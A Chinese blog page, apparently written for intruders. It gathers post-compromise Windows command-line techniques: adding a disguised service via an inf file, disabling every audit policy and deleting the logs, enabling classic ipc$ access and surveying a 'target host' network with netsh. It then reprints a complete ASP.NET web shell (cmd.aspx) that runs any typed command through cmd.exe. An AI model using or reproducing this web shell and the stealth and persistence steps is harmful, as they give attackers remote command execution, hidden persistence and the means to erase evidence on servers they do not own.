接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。

增加一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。


最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。

先看secedit命令语法:
secedit /analyze r/>secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:

假设我要将密码长度最小值设置为6,并启用"密码必须符合复杂性要求",那么先写这么一个模板:

[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后,将在当前目录产生一个gp.sdb,它是"中间产品",你可以删除它。
/quiet参数表示"安静模式",不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*

另外,在导入模板前,还可以先分析语法是否正确:

secedit /validate gp.inf

那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。

再举个例子——关闭所有的"审核策略"。(它所审核的事件将记录在事件查看器的"安全性"里)。
echo版:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。

比如,XP和2003的"本地策略"-》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为"经典":

echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg

而相应的用inf,应该是:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:

secedit /export /cfg gp.inf /log 1.log

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过,这样得到的只是组策略的一部分(即"Windows设置")。而且,某个策略如果未配置,是不会被导出的。比如"重命名系统管理员帐户",只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。

此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是"空"。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。


网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。

netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。

netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。

1,TCP/IP配置

echo interface ip >s
echo show config >>s
netsh -f s
del s

由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。
这个命令和ipconfig /all差不多。

注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后
net start remoteaccess

2,ARP

echo interface ip >s
echo show ipnet >>s
netsh -f s
del s

这个比arp -a命令多一点信息。

3,TCP/UDP连接

echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s

这组命令和netstat -an一样。

4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。

echo interface ip >s
echo show interface >>s
netsh -f s
del s

netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就"叫天不应叫地不灵"了),所以全部略过。

IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料,网上可以

分类: 技术文章 标签:

cmd.aspx

2006年9月21日 没有评论 1,159 views

信息来源:http://s0n9.blog.sohu.com/

<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="system.IO" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
dim but as string
dim tempfile as string=server.MapPath(".") & "\" & "test.txt"
shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000)
dim myread as new streamreader(tempfile,encoding.default)
but=replace(myread.readtoend,vbcrlf,"<br>")
but=replace(but," "," ")
result.text=but
myread.close
file.exists(tempfile)
file.delete(tempfile)
cmd.text=""
end sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>ASP.NET Shell V1.0 By fineacer</title>
</head>
<body>
<form runat="server">
<asp:TextBox ID="cmd" runat="server" />
<asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" />
<p><asp:Label ID="result" runat="server" /></p>
</form>
</body>
</html>

ASP.NET环境下执行cmd命令的程序,相当于cmd.asp不过这个需要asp.net环境,由于IIS6的机制,本程序不能在IIS6运行,不过可以很好的支持IIS5.x + .net framework.

分类: 技术文章 标签: ,